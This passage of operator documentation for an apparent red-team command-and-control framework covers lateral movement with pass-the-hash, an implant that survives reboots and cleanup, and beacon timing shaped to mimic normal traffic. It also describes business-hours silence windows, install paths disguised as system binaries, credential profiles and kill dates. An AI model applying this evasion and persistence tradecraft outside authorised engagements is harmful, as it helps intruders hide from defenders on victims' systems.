/jump psexec <target> [user=... password=... hash=... service=... pipe=... link=... platform=...]Deploy via PsExec (SMB service creation). Copies agent binary to ADMIN$, creates and starts a remote service. Supports plaintext password or NTLM hash (pass-the-hash). Default link transport: SMB.
/jump ssh <target> [user=... key=... password=... port=... link=... platform=...]Deploy via SSH. Uploads agent binary to the remote target and executes it. Supports key-based or password authentication.
/jump wmi <target> [user=... password=... hash=... link=... platform=...]Deploy via WMI process creation. No file copy — uses fileless execution on the target. Supports plaintext password or NTLM hash (pass-the-hash).
Jump module defaults
Jump modules automatically configure the child agent with a P2P link back to the deploying agent. The link= option controls the transport: tcp (default) or smb. The platform= option selects the agent binary: linux or windows (auto-detected from the target OS if omitted).

7Advanced Topics

7.1 Cold Restart and the HW-Keyed Blob (ddb)

In staged-enc and stageless-enc modes, the agent writes a hardware-keyed blob (ddb cache) to disk after its first successful run. This blob stores the decrypted C2 configuration encrypted under a key derived entirely from local machine hardware:

# hw_key derivation (all platforms):
hw_key = SHA-256(MachineGuid + MAC_address + SALT)   # 32-byte deterministic key

# Blob format (Linux / bash stub):
AES-256-CBC(config_string, hw_key)   → .stratum_ddb   # OpenSSL PBKDF2, 210 000 iter

# Blob format (Windows / DPAPI):
DPAPI(config_bytes)                  → stratum_ddb.dat  # user-bound, machine-bound

On every subsequent restart, the stub checks for the ddb blob before attempting any cloud fetch. If the blob decrypts cleanly, the agent boots instantly with no network traffic — the cloud folder is not accessed at all. This means:

  • Cold restarts after reboot are fast and silent — no cloud round-trip
  • The agent survives even if stage2.enc has already been deleted from cloud (as it will be after first heartbeat in staged-enc mode)
  • The blob is machine-bound — copying it to a different host decrypts to garbage
─── Cold Restart · Decision Flow ────────────────────────────────────────── Stub executed (after reboot / process restart) │ ├─ Check ddb blob on disk │ found + hw_key decrypts → fast boot (no network) │ agent starts from cached config │ └─ ddb missing or corrupted │ ├─ [staged-enc] → download stage2.enc from cloud │ (will fail if stage2.enc deleted — expected) │ → on failure: agent exits cleanly, no crash │ └─ [stageless-enc] → decrypt baked config blob with stub_secret always succeeds — stub_secret is in the binary
ddb blob and /blobsave
If the ddb blob is deleted (e.g. by IR cleanup, manual deletion, or OS re-image with the stub still present), issue /blobsave from the session REPL while the agent is active. This forces the agent to re-write the blob immediately, restoring cold-restart capability without any cloud interaction.

7.2 Sleep & Jitter Tuning

The sleep interval and jitter percentage determine the agent's network fingerprint. The native Rust agent draws beacon intervals from a log-normal distribution parameterized by the configured sleep and jitter values. Unlike uniform jitter (which creates a rectangular timing distribution easily identified in PCAP), log-normal produces a long-tailed distribution that mimics legitimate application polling patterns. Finding the right balance between responsiveness and stealth depends on the target environment:

ScenarioRecommended SleepJitterRationale
Active engagement (operator present)30–60s15–20%Reasonable responsiveness, low timing regularity
Long-haul persistence (unattended)120–300s20–35%Minimal network footprint, high timing irregularity
Ultra-low-profile (hostile IR ongoing)600–1800s30–50%Commands take 10–30 min to arrive; virtually no network signature
Testing / lab10–15s5%Fast iteration; not suitable for production

Change sleep and jitter live without redeploying:

/sleep 300    # change to 5-minute interval
/jitter 30    # ±30% = actual interval 210–390s

7.3 Maintenance Windows

A maintenance window defines a time range during which the agent will not beacon. This is useful for suppressing activity during business hours when network monitoring is more likely. Outside the window, the agent operates normally.

Maintenance windows are configured at deploy time in the wizard (Step 3). They cannot be changed post-deployment without redeployment. The time range is evaluated against the target system's local time, not the server's timezone.

# Example: agent only active between midnight and 6am
Window: 00:00 → 06:00

# Outside the window: agent beacons normally
# Inside the window:  agent skips all beacon cycles, stays silent
Window Design
Set the window to cover working hours, not off-hours. The agent should be active when operators are present and targets are quiet (nights, weekends). Example: 08:00 → 18:00 suppresses activity during the target's business day.

7.4 Kill Date

A kill date is a YYYY-MM-DD date baked into the agent at compile/deploy time. On or after that date, every agent — Rust native, bash, and PowerShell — performs a full self-destruct sequence at the start of its next beacon cycle:

  1. Removes all installed persistence techniques (scheduled tasks, registry keys, cron entries, systemd units, startup folder entries)
  2. Wipes and deletes the local hw-keyed blob (ddb file on disk)
  3. Deletes its own binary from disk
  4. Exits the process

The kill date is optional — leaving the field empty disables the feature entirely. It is configured in the Deploy Wizard under Kill Date (in the Guardrails section, alongside Window Start/End). It cannot be changed post-deployment without redeployment.

# Wizard field (Step 3 — Guardrails):
Kill date: 2026-12-31

# Agent check logic (each cycle, before heartbeat):
if today >= kill_date:
    persist_remove_all()
    delete blob
    delete self
    exit
Engagement Hygiene
Always set a kill date that covers the engagement window plus a safety margin (e.g. SoW end + 7 days). This ensures no agent survives past the authorised period, even if the operator forgets to issue a /kill command.
Platform Notes
On Linux/macOS, the running binary is unlinked immediately (unlink while open is safe on Unix — the inode persists until the process exits but the directory entry is removed). On Windows, DeleteFile on the running executable typically fails; the binary is left on disk as an orphaned file with no persistence mechanism pointing to it — effectively inert.

7.5 Blob Management

In persistence techniques that install a binary (scheduled task, service, registry), the agent copies itself to a target disk path — the blob path. This path is configured at deploy time (Blob Path field in the wizard, Step 3). The blob is tracked in the session artifact log.

The blob path should mimic a legitimate system binary location:

# Good blob paths (blend with legitimate software)
C:\Users\%USERNAME%\AppData\Local\Microsoft\SystemUpdateHelper\
C:\Windows\System32\DriverStore\FileRepository\  (requires admin)
/usr/lib/systemservices/updatehelper             (requires root)
~/.local/lib/python3.10/site-packages/utils/     (user-priv)

# Avoid obvious paths
/tmp/agent    — cleaned on reboot, obvious location
C:\Temp\      — suspicious, frequently audited

The /kill command removes the blob along with all other tracked artifacts. The blob is also automatically removed when a persistence technique is individually removed via /persist remove <id>.

7.6 Credential Profiles

Each cloud provider can store multiple credential profiles. This allows maintaining several independent cloud accounts for the same provider — useful for operational segmentation (different missions use different accounts) or redundancy.

Manage profiles via the Credentials section of the WebGUI (accessible from the user menu → Credential Profiles) or via the REST API:

# List profiles for a provider
GET /api/v1/credentials/dropbox

# Save a new profile
POST /api/v1/credentials/dropbox
{"app_key":"...","app_secret":"...","refresh_token":"...","label":"ops-2026"}

# Delete a profile
DELETE /api/v1/credentials/dropbox/{profile_id}

Credential profiles are stored in credentials/{provider}.json, managed by the Deploy Wizard and WebGUI. Back up this file separately — it is not part of the server's exported data.

7.7 Auto-Update System

Stratum checks GitHub for new releases once at server startup. If a newer version is available, operators see an amber banner in the topbar after login. Clicking the banner opens a modal with release notes and an "Update Now" button.

Configuration

# server.yml
auto_update:
  enabled: true
  repo: "OWNER/stratum-c2"  # GitHub owner/repo

Set enabled: false or leave repo empty to disable the check entirely.

Update Process

  1. Preflight — verifies git is installed, the project is a git repository, and checks working tree status
  2. Fetch & merge — runs git fetch origin main + git merge origin/main --no-edit
  3. Dependencies — if requirements.txt changed, runs pip install -r requirements.txt
  4. Notification — broadcasts result to all connected operators via WebSocket

Data Safety

All operational data is in .gitignore and never touched by git merge:

  • sessions/ — session profiles and state
  • keys/ — RSA keypairs
  • logs/ — command history and chat logs
  • credentials/ — provider credential profiles
  • server.yml — server configuration
  • certs/ — TLS certificates

On merge conflict, the update aborts cleanly via git merge --abort — no damage. Restart is always the operator's choice.

REST Endpoints

GET  /api/v1/update/status     # current update state
GET  /api/v1/update/preflight  # pre-flight checks
POST /api/v1/update/apply      # apply update
POST /api/v1/update/check      # force re-check

7.8 Agent Version Mismatch

Each agent records the Stratum version it was deployed with (SessionProfile.stratum_version). When viewing a session deployed with an older version, the WebUI shows:

  • An amber badge ("⚠ Agent outdated") in the session header
  • A warning cell ("Deployed With: ⚠ vX.Y.Z") in the Info tab under Guardrails

Old sessions without the field (pre-v2.0) default to an empty string — no warning is shown. The warning is informational only; it does not block any operations.

7.9 Context Menus

Right-clicking on specific areas of the WebGUI opens a context menu with quick actions (similar to Cobalt Strike's beacon context menu). The browser's default menu is preserved for areas without custom menus.

Zones

ZoneActions
Session table rowInteract, Lock/Unlock Session, /sysinfo, /status, /sleep, /jitter, /persist probe, /creds harvest, Copy (ID, IP, Host), /kill, /stop, Delete
Shell outputCopy Selection, Copy All Output, Clear Shell, Select All
Session headerCopy Session ID, Copy Folder Path, Copy Internal/External IP
TopbarAbout, Check for Updates

7.10 Session Lock

Sessions can be locked to prevent accidental destructive operations during an engagement. A locked session cannot be killed, stopped, deleted, or wiped — by any operator.

How to use

  • Right-click a session row → Lock Session (or Unlock Session to release)
  • A 🔒 badge appears next to the status pill in the session list
  • A blue 🔒 Locked badge appears in the session detail header
  • The Info tab shows a "Lock" row when the session is locked

What is blocked

ActionBlocked when locked
/killYes — server returns HTTP 423
/stop (EXIT)Yes — server returns HTTP 423
Delete SessionYes — server returns HTTP 423
Wipe SessionYes — server returns HTTP 423
/sysinfo, /creds, shell commandsNo — normal operations continue

Persistence

Lock state is stored in the session profile JSON (sessions/{id}.json) and survives server reboots. All operators see lock/unlock events in real-time via WebSocket broadcast.